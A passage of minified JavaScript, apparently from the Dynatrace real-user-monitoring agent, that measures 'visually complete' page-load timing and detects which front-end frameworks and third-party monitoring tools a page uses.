sa=ha;var cb=(bb={},bb.url=Ia,bb.time=0,bb.node=E,bb.v=!U(u,E,N),bb.area=L(ja(sa)),bb.offset={top:sa.top,left:sa.left,width:sa.width,height:sa.height},bb.is=0,bb),Fb=Na.dT_.tau(Ia);(u=wb)&&u.test(Fb)&&(cb.is=2);return cb}catch(Ib){}return null}function H(u,E,N){void 0===E&&(E=new WeakMap);var ha=Na.dT_.gFId();var sa=E;E=sa.get(u);E||(E={},sa.set(u,E));if(E[ha])ha=E[ha];else{sa=oc.pageYOffset;var Ia=u.clientTop,bb=oc.pageXOffset,cb=u.clientLeft,Fb=0,Ib=0;V(u)&&(Fb=u.offsetWidth,Ib=u.offsetHeight);
Fb={top:0,left:0,offsetWidth:Fb,offsetHeight:Ib,clientWidth:u.clientWidth,clientHeight:u.clientHeight};if("function"===typeof u.getBoundingClientRect)try{var fc=u.getBoundingClientRect(),Ec=fc.left;Fb.top=fc.top+sa-Ia;Fb.left=Ec+bb-cb}catch(ld){}ha=E[ha]=Fb}fc=ha.top;Ec=ha.left;N&&(fc+=N.top,Ec+=N.left);N={top:fc,left:Ec,width:ha.clientWidth,height:ha.clientHeight};V(u)&&(N.width=ha.offsetWidth,N.height=ha.offsetHeight);return N}function Q(u){return u.area>rb&&u.v&&0===u.is&&0<u.time}function ia(u,
E){for(var N=0;N<E.length;N++){var ha=E[N],sa=0,Ia=ha===u?2:0;Q(ha)&&(Ia=Math.max(Ia,1));0===Ia&&(sa=0,ha.v||(sa+=1),ha.area>rb||(sa+=2),0!==ha.is&&(sa+=4));ha.relevance=Ia;ha.ireason=sa}}function W(u){if(u.length)return Na.dT_.red(u,function(E,N){return Q(N)&&(!E||E.time<=N.time)?N:E},void 0)}function la(){var u=Na.dT_.bcv,E=Na.dT_.scv,N=Na.dT_.ncv,ha=Na.dT_.de(E("iub"));try{ha&&(wb=new RegExp(ha,"i"))}catch(sa){}pc=u("vcfi");Sc=N("vcx");ed=N("tvc");$b=E("uana");Ac=Na.dT_.puesc(E("mb"));Ic=N("vcit");
Nc=1E3*Math.max(0,N("oat")-5);qd=u("fvdi");dc=N("vscl");rb=N("vct");ad=u("ccNcss");Lc=u("vrt")}function ua(u){for(var E=0;E<Te.length;E++)if(Te[E]===u){Te.splice(E,1);break}}function Ka(u){for(var E=Te.slice(),N=Te.length=0;N<E.length;N++)(0,E[N])(u)}function Hb(u){return!!u&&"about:blank"!==u&&u!==location.href&&u!==location.href.substring(0,location.href.lastIndexOf("/")+1)}function ib(u){try{return!!u.contentWindow&&!Na.dT_.gNNTV(u.contentWindow.performance,"loadEventEnd")}catch(E){return!1}}function aa(u){return!!u.area}
function qa(u,E){void 0===E&&(E=oc);return E.getComputedStyle(u)}function V(u){var E=ye.get(u);if(E)return E;E=(gb(u,9)||u&&u.nodeType&&1===u.nodeType)&&("string"===typeof u.textContent||"string"===typeof u.innerText);ye.set(u,E);return E}function pa(u){var E=Na.dT_.gNTO(u);return function(N,ha){var sa=ha.duration,Ia=E+ha.startTime+sa;!sa&&za(ha)&&(Ia=E+ha.responseEnd);return Math.max(N,Ia)}}function Va(u,E,N){if(u){var ha;var sa=(ha={},ha.time=u.time,ha.offset=u.offset,ha.area=u.area,ha.url=u.url,
ha.v=u.v,ha.node=u.node,ha.is=0,ha);sa.v&&(sa.v=E);N.push(sa)}}function nb(u,E,N,ha,sa,Ia,bb){return Ua(this,void 0,void 0,function(){var cb,Fb;return Pa(this,function(Ib){switch(Ib.label){case 0:return(cb=C(u,E,N,ha))&&E.contentWindow?[4,ka(u,E.contentWindow,cb.offset,void 0,sa)]:[3,2];case 1:Fb=Ib.J(),Na.dT_.fE(Fb,function(fc){fc.v=fc.v&&Ia;bb.push(fc)}),Ib.label=2;case 2:return[2]}})})}function lb(u,E,N){var ha=u.gLVD();return ha?(Va(ha.k,E,N),ra.resolve()):new ra(function(sa){u.addE("VISUALLY_COMPLETE",
function(Ia){Va(Ia.detail.k,E,N);sa()})})}function jb(u,E,N,ha,sa,Ia,bb){void 0===bb&&(bb=!1);return new ra(function(cb,Fb){var Ib=!1,fc;eb(u)||(fc=qa(E,N));var Ec=fc&&fc.backgroundImage;if(Ec&&"none"!==Ec){var ld=0;for(Ec=Ec.split(",").map($a).filter(Oa);ld<Ec.length;ld++){var fd=Ec[ld];(fd=C(u,E,fc,Ia,ha,Na.dT_.tau(fd)))&&sa.push(fd)}}if(db(E)){var hd=E.contentWindow;Ib=function(){var od=fc,we=bb,ce;try{if(hd&&hd.dT_){var Xd=hd.dT_;Xd&&"ea"in Xd&&(ce=Xd)}}catch(Hd){}Xd=!U(u,E)&&Ja(Ia);(ce&&ce.gLVD?
lb(ce,Xd,sa):nb(u,E,od,Ia,we,Xd,sa)).then(cb)["catch"](Fb)};!bb&&ib(E)?(E.addEventListener("load",Ib),E.addEventListener("error",Ib)):Ib();Ib=!0}Ea(E)&&(fd=I(E))&&(ld=C(u,E,fc,Ia,ha,fd))&&sa.push(ld);Ib||cb()})}function Ab(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia=!1);return Ua(this,void 0,void 0,function(){var bb,cb;return Pa(this,function(Fb){switch(Fb.label){case 0:return Fb.ia.push([0,6,,7]),bb=H(E,u.cb),cb=N.getComputedStyle(E),(V(E)?E.offsetWidth*E.offsetHeight>rb:E.clientWidth*E.clientHeight>rb)?fa(bb,
E)?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,2]:[3,3];case 1:Fb.J(),Fb.label=2;case 2:return[3,5];case 3:return Na.dT_.iIO(E,10)||cb.backgroundImage&&"none"!==cb.backgroundImage?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,5];case 4:Fb.J(),Fb.label=5;case 5:return[3,7];case 6:return Fb.J(),[3,7];case 7:return[2]}})})}function gc(u){return bc?Ha(1,u).concat(Ha(2,u)):[]}function Vb(u){return function(E){var N=Na.dT_.gto(),ha=E.time-N;N=(E.endTime||E.time)-N;return{name:E.url,failedResource:u,startTime:ha,responseEnd:N,duration:N-
ha,_dtCl:!0}}}function Ha(u,E){var N=Na.dT_.aM(Wc[u][E]||[],Vb(u));E?delete Wc[u][E]:Wc[u]={};return N}function yb(u){return!u.time}function vb(u,E,N){u=u.getEntriesByName(N.url,"resource")[0];za(u)?N.time=Math.round(E+u.responseEnd):N.time=0}function ca(u,E){var N=null,ha=0;try{N=E.performance,ha=Na.dT_.gNTO(N)}catch(sa){}N&&u.filter(yb).forEach(vb.bind(null,N,ha))}function Oa(u){return!(!u||0!==u.indexOf("http"))}function Za(u,E){return"loading"in HTMLImageElement.prototype&&"lazy"===u.getAttribute("loading")&&
!Ja(H(u,E))}function I(u){try{if(u.srcset)return u.currentSrc;var E=u.parentElement;if(E&&"PICTURE"===E.nodeName)for(var N=0;N<E.children.length;N++)if("SOURCE"===E.children[N].tagName)return u.currentSrc;return u.currentSrc||u.src}catch(sa){try{var ha=u.getAttribute("src");return ha?Na.dT_.tau(ha):""}catch(Ia){return""}}}function ka(u,E,N,ha,sa){void 0===sa&&(sa=!1);return Ua(this,void 0,void 0,function(){var Ia,bb;return Pa(this,function(cb){switch(cb.label){case 0:Ia=[];try{bb=(ha||E.document).getElementsByTagName("*")}catch(Fb){return[2,
Ia]}return[4,Na.dT_.fEP(bb,function(Fb,Ib,fc,Ec){Ab(u,Fb,E,N,Ia,sa).then(Ec)["catch"](Ma)},void 0,!(ic.syn||sa))];case 1:return cb.J(),ca(Ia,E),[2,Ia]}})})}function Ba(u,E,N,ha){var sa={uf:[],style:void 0};if(!N&&!ad||eb(ha))return sa;N=qa(u);if(!N)return sa;sa.style=N;(N=N.backgroundImage)&&"none"!==N&&(sa.uf=N.split(",").map($a).filter(Oa).filter(Hb).map(ba.bind(null,E,u)));return sa}function $a(u){void 0===u&&(u="");zd.lastIndex=0;return(u=zd.exec(u))&&1<u.length?u[1]||u[2]||u[3]:""}function Cb(u,
E,N,ha){if(pc&&!u.dT_vcInstr&&!Za(u,ha.cb))if(Ea(u)){if(N=I(u),Hb(N)&&Oa(N)){N={url:N,time:Na.dT_.nw(),element:u};u.dT_vcInstr=!0;a:if(!u.complete||u.naturalWidth||Na.dT_.gBI().ie)ha=u.complete?"SUCCESSFUL":"PENDING";else{if(Na.dT_.gBI().ff){var sa=ha=I(u),Ia=ha.indexOf("?");0<=Ia&&(sa=ha.substring(0,Ia));if(sa.lastIndexOf(".svg")===sa.length-4){ha="UNKNOWN";break a}}ha="FAILED"}switch(ha){case "FAILED":Z(N,1,E);break;case "PENDING":ta(u,N,E)}}}else V(u)&&Ba(u,E,N,ha)}function bd(u,E,N,ha){var sa=
E.contentWindow;if(!sa)return ra.resolve();try{var Ia=sa.dT_}catch(cb){}var bb=!U(u,E)&&Ja(ha);return Ia&&Ia.gLVD?lb(Ia,bb,u.ya):ka(u,sa,N).then(function(cb){var Fb;(Fb=u.ya).push.apply(Fb,cb.map(function(Ib){var fc;return La(La({},Ib),(fc={},fc.v=Ib.v&&bb,fc))}))})}function Qb(){Ka("f");return af}function Zb(){var u=ic;u.gUI=gc;u.vWW=va;u.vWH=S;u.gVCP=Qb;u.gLVD=ab}function q(u){for(var E=0,N=0,ha=0,sa=Na.dT_.red(u,function(cb,Fb){return cb+Fb.Ud},0),Ia=0;Ia<u.length;Ia++){var bb=u[Ia];N=bb.time-
N;0<N&&1>ha&&(E+=(1-ha)*N);ha+=bb.Ud/sa;N=bb.time}return Math.round(E)}function D(u,E,N){var ha=[],sa;for(sa in u)if(Na.dT_.oHOP(u,sa)){var Ia=u[sa].Ub;ha.push({time:Number(sa)-N,Ud:Ia/E,Ub:Ia})}ha.sort(function(bb,cb){return bb.time-cb.time});return ha}function t(u){return u.v}function y(u,E){var N,ha=E.time;E=E.area;null!==(N=u[ha])&&void 0!==N?N:u[ha]={Ub:0,Ud:0,time:0};u[ha].Ub+=E;return u}function Y(u){u.Bb--;O(u)}function x(u,E){var N=-1;if(E){N=Math;var ha=E.time;N=N.round.call(N,0>ha?-1:ha-
u.ub);N>Nc&&(u.trigger="t",N=-2);var sa=E.node;if(sa){ha=E.area;var Ia={left:NaN,top:NaN};try{Ia=sa.getBoundingClientRect()}catch(Ib){}var bb=$b.split(",");ha={location:{x:Math.ceil(Ia.left),y:Math.ceil(Ia.top)},size:Math.ceil(ha),hj:sa.getAttribute("class"),id:sa.getAttribute("id"),name:sa.getAttribute("name"),tagName:sa.tagName,Wg:Na.dT_.gecsss(sa)};for(Ia=0;Ia<bb.length;Ia++){var cb=bb[Ia],Fb=sa.getAttribute(cb);if(Fb){ha.Qh={key:cb,value:Fb};break}}ha?(sa=ha.Qh,cb=ha.location,Fb=ha.size,bb=ha.tagName,
Ia=ha.Wg,ha=Na.dT_.aesc(ha.name||""),cb=[cb.x,cb.y,Fb],ha&&cb.push("n;".concat(ha)),sa&&cb.push("u;".concat(Na.dT_.aesc(sa.key),",").concat(Na.dT_.aesc(sa.value))),Ia?cb.push("s;".concat(Na.dT_.aesc(Ia))):cb.push("t;".concat(Na.dT_.aesc(bb))),ha=cb.join("|")):ha="";E.kd=ha}u.mh&&(bc=!0)}return N}function oa(u,E,N){var ha=Na.dT_.nw()-E.vf,sa=Na.dT_.nw(),Ia=E.ya.filter(aa);var bb=E.ub;Na.dT_.nw();for(var cb=Ia.length-1;0<cb;cb--)for(var Fb=Ia[cb],Ib=cb-1;0<=Ib;Ib--){var fc=Ia[Ib],Ec=fc.area,ld=Fb.area;
if(ld&&Ec&&2500<Ec){var fd=Fb.offset,hd=fc.offset,od=ne(fd.top,hd.top),we=ne(fd.left,hd.left),ce=ze(fd.left+fd.width,hd.left+hd.width);fd=ze(fd.top+fd.height,hd.top+hd.height);we=ne(0,ce-we);od=ne(0,fd-od);fc.area=ne(0,Ec-ze(Math.round(we*od),ld))}}Ia=Ia.filter(t).reduce(y,{});bb=D(Ia,va()*S(),bb);vd=q(bb);vd>u&&(vd=u);Na.dT_.nw();bb=vd;sa=Na.dT_.nw()-sa;u=[["V",u+"|"+E.trigger],["VCD",String(ha)],["VCDS",String(sa)],["VCS",String(E.vf-E.ub)],["VCO",String(E.eg-E.ub)],["VCI",String(E.ve)]];(N=(null===
N||void 0===N?void 0:N.kd)||"")&&Na.dT_.apush(u,["VE",N]);Na.dT_.apush(u,["S",String(0<=bb?bb:-1)]);Na.dT_.cAE("_vc_",u,E.G,E.ub)}function R(u){var E,N,ha;"n"===u.trigger&&(u.trigger=u.lb?"f":"c");u.ya.sort(function(cb,Fb){return cb.time-Fb.time});var sa=W(u.ya),Ia=x(u,sa);oa(Ia,u,sa);ia(sa,u.ya);af=Ia;var bb=(E={},E.t=u.trigger,E.k=sa,E.v=Ia,E);Se=bb;Na.dT_.disE((N={},N.kind="VISUALLY_COMPLETE",N.detail=La(La({},bb),(ha={},ha.a=u.G,ha.e=u.ya,ha)),N));sa&&(sa.node=null);u.ya=[];ua(u.Kf);u.Sf=!0;u.Ch(-1<
Ia?u.ub+Ia:-1)}function O(u){var E=u.Gf===u.If,N=!u.Bb;E&&N&&u.ra&&(Na.dT_.ct(u.ra),u.ra=0);!u.Sf&&N&&(!u.Hc.length&&E||u.lb)&&R(u)}function wa(){var u=!1;pc&&Na.dT_.addE("INSTRUMENTATION_TRIGGERED",function(){if(!u){u=!0;for(var E=Na.dT_.gEBTN("*"),N={ue:0,ve:0,cb:new WeakMap},ha=0;ha<E.length;ha++)Cb(E[ha],Na.dT_.lAID(),!0,N)}})}function Ga(){var u;ye=new WeakMap;wa();He=!(null===(u=document.body)||void 0===u||!u.childElementCount);Na.dT_.las()||Na.dT_.aMO(Na.dT_.lAID());Na.dT_.addE("ACTION_ENTERED",
function(E){Na.dT_.aMO(E.detail.i);E.detail.i===E.detail.r&&Ka("u")});Na.dT_.addE("ACTION_CLOSED",function(E){E=E.detail;var N=E.i,ha=E.r,sa=E.f,Ia=E.a;if(E.dne)Na.dT_.rMO(N);else{var bb=function(Ib){if("u"!==Ib||N===Na.dT_.lAID())Na.dT_.ct(cb),Wa(N,ha===N,!0,Ia,bb,Fb,Ib)};Te.push(bb);E=Wa(N,ha===N,sa,Ia,bb);var cb=E.ra,Fb=E.Dg}});Na.dT_.addE("ACTION_BEACON_FORCED",function(){Ka(Na.dT_.las()?"l":"f")})}function Wa(u,E,N,ha,sa,Ia,bb){if(!E)return Na.dT_.rMO(u),ve;var cb=Ia||Na.dT_.aAWC(u);if(!cb)return ve;
if(!N)return{ra:Na.dT_.st(function(){gd(u,cb,!1,ha,sa,bb)},Sc),Dg:cb};gd(u,cb,!0,ha,sa,bb);return ve}function Eb(u,E){return function(N){N=E+N.time;return!u||u<=N}}function Lb(u,E,N,ha,sa){var Ia=ha.push;a:{var bb;if((N||!u.wd.has(sa))&&sa.nodeType!==Node.TEXT_NODE&&V(sa)){var cb=Ba(sa,u.G,N,u),Fb=cb.uf;Ea(sa)?(Cb(sa,u.G,N,u),Fb.push(sa)):db(sa)&&Fb.push(sa);if(N=sa&&sa.nodeType&&1===sa.nodeType)try{var Ib=Ac;N=!!Ib&&sa.matches(Ib)}catch(Ec){N=!1}if(Fb.length&&!N)for(bb=0;bb<Fb.length;bb++)Sa(Fb[bb],
u,E,sa,cb.style);else Fb=H(sa,u.cb),Fb=L(ja(Fb)),Kc(u,(bb={},bb.time=Math.round(E),bb.node=sa,bb.area=Fb,bb.v=!U(u,sa,cb.style),bb.url="",bb.offset={top:0,left:0,width:0,height:0},bb.is=N?1:0,bb));try{if(sa.hasChildNodes()){var fc=sa.childNodes;break a}}catch(Ec){}}fc=[]}Ia.call(ha,fc)}function Nb(u,E){return Ua(this,void 0,void 0,function(){var N,ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:return N=!E.lb,ha=Na.dT_.gXACT(E.G)[0],sa=u,ha?[4,Na.dT_.fP(u,Eb(ha,Na.dT_.gto()),N)]:[3,2];case 1:sa=
Ia.J(),Ia.label=2;case 2:return[4,Na.dT_.fEP(sa,function(bb,cb,Fb,Ib){var fc=[],Ec=bb.time;Na.dT_.fEP(bb.nodes,Lb.bind(null,E,Ec,!0,fc),Ec,N).then(function(){return Na.dT_.fEP(fc,function(ld,fd,hd,od){Na.dT_.fEP(ld,Lb.bind(null,E,Ec,!1,fc),null,N,!0).then(od)["catch"](Ma)},null,N,!0)}).then(Ib)["catch"](Ma)},null,N,!0)];case 3:return Ia.J(),[2,E]}})})}function ac(u,E,N){Na.dT_.ct(u.Yb);Na.dT_.ct(u.Fc);Na.dT_.rMO("vc-timeout-".concat(E));u.Yb=-1;u.Fc=-1;Oc(E,N,!0)}function rc(u,E){var N={Fc:-1,Yb:-1};
N.Fc=Na.dT_.st(function(){ac(N,u,E)},ed);mc(u,E,N);Na.dT_.aMO("vc-timeout-".concat(u),function(){mc(u,E,N)});return N}function mc(u,E,N){Na.dT_.ct(N.Yb);N.Yb=Na.dT_.st(function(){ac(N,u,E)},Ic)}function Oc(u,E,N){return Ua(this,void 0,void 0,function(){var ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:ha=Na.dT_.gMN(u);Na.dT_.rMO(u);E.eg=Na.dT_.nw();E.Bb++;if(!N||!He&&!qd)return[3,2];E.Bb++;return[4,ka(E,oc,void 0,void 0,E.lb)];case 1:return sa=Ia.J(),sa.forEach(Kc.bind(null,E)),Y(E),[3,
3];case 2:ha.length||O(E),Ia.label=3;case 3:return[4,Nb(ha,E)];case 4:return Ia.J(),Y(E),[2]}})})}function Kc(u,E){var N=E.node;if(N){if(u.wd.has(N)){(N=u.wd.get(N))&&E.time>u.ya[N].time&&(u.ya[N]=E);return}u.wd.set(N,u.ya.length)}u.ya.push(E)}function gd(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia="n");ua(sa);sa=ic;sa.syn&&sa.logSynthetic("Starting vc calculation with arguments ".concat(JSON.stringify({G:u,force:N,ub:ha,trigger:Ia}),". Stack:\n").concat(Error().stack));sa=Na.dT_.lAID()===u;var bb={ub:ha,Gf:0,
If:0,Bb:0,Sf:!1,vf:Na.dT_.nw(),eg:0,ra:Na.dT_.st(function(){bb.lb=!0;bb.Bb=0;O(bb)},Nc),Hc:[],Vg:[],ya:[],wd:new WeakMap,mh:sa,Ch:E,G:u,trigger:Ia,lb:N,ue:0,ve:0,cb:new WeakMap,Kf:function(Fb){if("u"!==Fb||u===Na.dT_.lAID())bb.lb=!0,bb.Bb=0,bb.trigger=Fb,0<=cb.Yb&&0<=cb.Fc&&ac(cb,u,bb),O(bb)}},cb={Yb:-1,Fc:-1};Te.push(bb.Kf);sa&&!N?cb=rc(u,bb):Oc(u,bb,sa)}function ma(u,E,N,ha,sa,Ia,bb){var cb,Fb=Na.dT_.tau(u),Ib=wb;Ib=Fb&&Ib&&Ib.test(Fb);var fc=L(ja(ha)),Ec=(cb={},cb.url=Fb,cb.time=Math.round(E),
cb.node=N,cb.v=!U(sa,N,bb),cb.area=fc,cb.offset=ha,cb.is=Ib?2:0,cb);Kc(sa,Ec);ha=Ea(N);bb=db(N);u=ha&&!N.complete&&!Na.dT_.gBI().ie&&"data:"!==u.substring(0,5)||bb&&ib(N);sa.Gf++;Na.dT_.apush(sa.Hc,{name:Ec.url,startTime:E});if(!u||sa.lb||Ib)(ha||bb)&&Db(N,sa,Ec,Ia,!0);else{var ld=function(){sa.cb["delete"](N);Db(N,sa,Ec,Ia,!1);N.removeEventListener("load",ld);N.removeEventListener("error",ld)};N.addEventListener("load",ld);N.addEventListener("error",ld)}}function Ca(u){return u.currentSrc||u.getAttribute("src")||
u.getAttribute("href")||""}function Ra(u,E,N,ha,sa){var Ia,bb=wb;bb=(u=Na.dT_.tau(u))&&bb&&bb.test(u);var cb=sa===E;return Ia={},Ia.url=u,Ia.time=Math.round(N),Ia.node=E,Ia.v=!1,Ia.area=0,Ia.offset=ha,Ia.is=bb?2:0,Ia.w=cb?E.width:sa.clientWidth,Ia.h=cb?E.height:sa.clientHeight,Ia.nw=cb?E.naturalWidth:E.width,Ia.nh=cb?E.naturalHeight:E.height,Ia}function Sa(u,E,N,ha,sa){var Ia=Ca(u);if(Hb(Ia)&&!Za(u,E.cb)&&!E.Hc.some(function(cb){return cb.name===Ia})){var bb=H(ha,E.cb);Ea(u)&&!u.width||fa(bb,u)?(Ja(bb)||
Ea(u))&&ma(Ia,N,u,bb,E,ha,sa):Ea(u)&&E.ya.push(Ra(Ia,u,N,bb,ha))}}function Db(u,E,N,ha,sa){var Ia=oc.performance,bb=N.url,cb=Na.dT_.nw();(Ia=!sa&&Lc?cb:Na.dT_.red(Ia.getEntriesByName(bb,"resource"),pa(Ia),0))&&(N.time=Math.max(Math.round(Ia),N.time));sa||(N.o=cb);Ia=ja(H(ha||u,E.cb));N.area=L(Ia);N.node=ha;if(Ea(u)){var Fb=ha===u;N.w=Fb?u.width:ha.clientWidth;N.h=Fb?u.height:ha.clientHeight;N.nw=Fb?u.naturalWidth:u.width;N.nh=Fb?u.naturalHeight:u.height}E.If++;ha=Na.dT_.aFI(E.Hc,function(Ib){return Ib.name===
bb});-1!==ha&&(ha=E.Hc.splice(ha,1)[0],E.Vg.push(ha.name),sa&&E.lb&&Z({time:ha.startTime,url:ha.name,isVisible:Q(N),element:N.node,endTime:cb},2,E.G),db(u)&&(E.Bb++,bd(E,u,N.offset,Ia).then(Y.bind(null,E))["catch"](Ma)),O(E))}function Yb(u){u=u.detail;var E=u.i,N=u.a;u.r===E&&Na.dT_.cAE("_vc_",[["V","-3"],["S","-3"]],E,N)}var Na="undefined"!==typeof window?window:self,oc="undefined"!==typeof window?window:self,rb=-1,wb=null,pc=!1,Sc=-1,ed=-1,$b="",Ac="",Ic=-1,Nc=-1,qd=!1,ad=!1,dc=0,Lc=!1,jd="function"===
typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,bc=!1,ic,Pd,af,Se,Qd,ke={},Wc=(Qd={},Qd[1]={},Qd[2]={},Qd),Te=[],Bd=oc.document.documentElement,Rd,Xe,ye,zd=/url\s*\(\s*(?:'(\S*?)'|"(\S*?)"|((?:\\\s|\\\)|\\"|\\'|\S)*?))\s*\)/gi,ze=Math.min,ne=Math.max,vd=-1,He,ve={ra:0,Dg:void 0};(function(u){var E,N,ha=oc.dT_;if(ha&&ha.smbi&&ha.io&&ha.iMod){ic=ha;Pd=Na.dT_.tdto();ha=Na.dT_.iMod();var sa=void 0;void 0===sa&&(sa=0);var Ia=-1;(null===ha||void 0===ha?0:ha.indexOf)&&(Ia=ha.indexOf("V",
sa));ha=-1!==Ia;sa=Na.dT_.smbi("V");Ia=oc.performance;var bb=Na.dT_.bcv("dmo")&&Na.dT_.gBI().ie,cb=Pd.syn;Ia=!!oc.MutationObserver&&!(null===Ia||void 0===Ia||!Ia.getEntriesByType)&&!bb||cb;if(null===(N=(E=Na.dT_).ssmbi)||void 0===N?0:N.call(E,"V",u,Ia,sa))return ha||Na.dT_.iMod("V"),la(),Na.dT_.addE&&Na.dT_.addE("CONFIG_UPDATE",la),Ga(),!0;!sa||ha||Ia||Na.dT_.addE("ACTION_BEFORE_SEND",Yb)}return!1})(!1)&&Zb()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(fa){function S(eb){return!(!eb||!eb[fa])}var va,ja=0;if(S(document.body))return document.body;if(S(null===(va=document.body)||void 0===va?void 0:va.firstElementChild))return document.body.firstElementChild;if("function"===typeof document.createTreeWalker&&"undefined"!==typeof NodeFilter){va=function(eb){ja++;return S(eb)||50===ja?NodeFilter.FILTER_ACCEPT:
NodeFilter.FILTER_SKIP};try{var U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,{acceptNode:va}).nextNode()}catch(eb){U=document.createTreeWalker(document.body,NodeFilter.SHOW_ELEMENT,va,!1).nextNode()}return U}}function La(fa){var S;if(ab.Vue&&ab.Vue.version){var va=ab.Vue.version;"2"===va.split(".")[0]&&"__vue__"===fa&&(S=va);"3"===va.split(".")[0]&&"__vue_app__"===fa&&(S=va)}(va=ra(fa))&&va[fa]&&(za.dT_.iVRA(va,fa),S||(S=""));return S}function gb(fa){for(var S=ab,va=0;va<fa.length;va++)if(S=
fa[va],"function"===typeof S)S=S.apply(this);else{var ja=S.split(".");S=ab;for(var U=0;U<ja.length&&"undefined"!==typeof S&&null!=S;U++)S=-1===ja[U].indexOf("()")?S[ja[U]]:S[ja[U].replace("()","")]();if("undefined"!==typeof S)break}return S}function db(){var fa=[],S=0,va=Array.prototype,ja=va.concat,U=[];for(Q in Ja)if(za.dT_.oHOP(Ja,Q))try{var eb=Ja[Q];"object"!==typeof eb&&(eb=[],eb[0]=Ja[Q]);var L=gb(eb);if("string"===typeof L||za.dT_.iIO(L,3))U.push(Q+("b"===Q?L:L.split(/-|_| /)[0]));else if("object"===
typeof L&&L.length)for(var C=L.length,H=0;H<C;H++)U.push(Q+L[H]);else void 0!==L&&U.push(Q+"x")}catch(W){}var Q=[];for(var ia in Ma)if(za.dT_.oHOP(Ma,ia))if(0===Ma[ia].indexOf("url"))for(eb=Ma[ia].replace("url:",""),L=document.getElementsByTagName("script"),C=0;C<L.length;C++)try{if(L[C].src&&-1!==L[C].src.indexOf(eb)){Q.push(ia);break}}catch(W){}else"undefined"!==typeof ab[Ma[ia]]&&Q.push(ia);for(va=ja.call(va,U,Q);S<va.length;S++)ja=va[S],na[ja]||(fa.push(ja),na[ja]=!0);return fa}function Ea(fa,
S,va,ja){S||20<Aa||(ta.length||(ta=db(),Aa++),ta.length&&(fa.av(ja,"fd",za.dT_.aesc(ta.join(";")),!1),ta=[]))}function Ua(fa){fa.detail.i===za.dT_.lAID()&&(ta=db(),za.dT_.remE("ACTION_CLOSED",Ua))}function Pa(fa,S,va){var ja=0;try{if(3>=va&&!za.dT_.iIO(fa,8))if("object"===typeof fa&&-1===za.dT_.aIOf(S,fa)){za.dT_.apush(S,fa);for(var U in fa)za.dT_.oHOP(fa,U)&&(ja++,ja+=Pa(fa[U],S,va+1))}else if(za.dT_.iIO(fa,0)&&-1===za.dT_.aIOf(S,fa)){za.dT_.apush(S,fa);for(var eb=0;eb<fa.length;eb++)U=fa[eb],ja+=
Pa(U,S,va+1)}}catch(L){}return ja}var za="undefined"!==typeof window?window:self,ab="undefined"!==typeof window?window:self,ba,Z,Aa=0,na=[],ta=[],Ma={fueldeck:"FDUPA",soasta:"url:c.go-mpulse.net",monitis:"JSBenchmark",pingdom:"PRUM_EPISODES",newrelic:"NREUM",appdynamics:"ADRUM",appneta:"_tly",pendo:"pendo",heap:"heap",mixpanel:"mixpanel",amplitude:"amplitude",tealeaf:"TLT",datadog:"DD_RUM",elastic:"elasticApm",requestmetrics:"RM",instana:"ineum",plumbr:"PLUMBR",glassbox:"_detector",decibelinsight:"decibelInsight",
contentsquare:"CS_CONF",hotjar:"hjBootstrap",quantummetric:"QuantumMetricAPI",fullstory:"FS"},Ja=(ba={},ba.j="jQuery.fn.jquery",ba.o="Prototype.Version",ba.g=["angular.version.full",function(){if(document.querySelectorAll){for(var fa=Array.prototype.slice.call(document.querySelectorAll("[ng-version]")),S=[],va=0,ja=fa.length;va<ja;va++)S.push(fa[va].getAttribute("ng-version"));return S.length?S:void 0}}],ba.m="MooTools.version",ba.d="dojo.version.toString()",ba.e=["Ext.versions.extjs.version","Ext.version.version",
"Ext.version"],ba.s=["Ext.versions.touch.version"],ba.i=["ice.icefaces","Ice"],ba.f=function(){if(Z.syn)for(var fa=0,S=['object param[name="movie"][value*=".swf"]','object param[name="src"][value*=".swf"]','embed[src*=".swf"]','object[data*=".swf"]'];fa<S.length;fa++)if(document.querySelectorAll(S[fa]).length)return"1"},ba.b=function(){var fa=ab.dataLayer,S=[];if(fa&&fa.length){for(var va=0,ja=0;ja<fa.length;ja++){var U=fa[ja];if("object"===typeof U&&-1===za.dT_.aIOf(S,U)){za.dT_.apush(S,U);for(var eb in U)za.dT_.oHOP(U,
eb)&&(va++,va+=Pa(U[eb],S,0))}}va?(fa="1-5",500<va?fa="501+":100<va?fa="101-500":50<va?fa="51-100":10<va?fa="11-50":5<va&&(fa="6-10"),va=fa):va=void 0;return va}},ba.v=function(){return La("__vue__")},ba.k=function(){return La("__vue_app__")},ba.r=function(){if(ab.React&&ab.React.Component)return String(ab.React.version||"");var fa=ra("_reactRootContainer");if(fa&&fa._reactRootContainer)return""},ba.n=function(){var fa;if((null===(fa=ab.__NUXT__)||void 0===fa?0:fa.data)||ab.$nuxt)return""},ba.p=function(){var fa;
if(ab.__NEXT_DATA__&&ab.__NEXT_DATA__.buildId)return String((null===(fa=ab.next)||void 0===fa?void 0:fa.version)||"")},ba);(function(){var fa,S;(Z=ab.dT_)&&(null===(S=(fa=za.dT_).smbi)||void 0===S?0:S.call(fa,"f"))&&(za.dT_.aBPSL(Ea),za.dT_.addE("ACTION_CLOSED",Ua))})()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ma,Ca,Ra){void 0===Ra&&(Ra=0);var Sa=-1;Ca&&(null===ma||void 0===ma?0:ma.indexOf)&&(Sa=ma.indexOf(Ca,Ra));return Sa}function La(ma){function Ca(){Ha.dT_.gAA(Ra)&&(5>Qb[Ra].wf?(Qb[Ra].wf++,Ha.dT_.st(Ca,1E3)):Ha.dT_.lx(Ra,Sa,!1,Qb[Ra].yg))}var Ra=0,Sa="";if(ma){var Db=ma.config;Db&&(Ra=Db.actionId||0,Sa=Db.url,Ra&&Qb[Ra]&&!Db.Xg&&(Db.Xg=!0,Qb[Ra].yg=
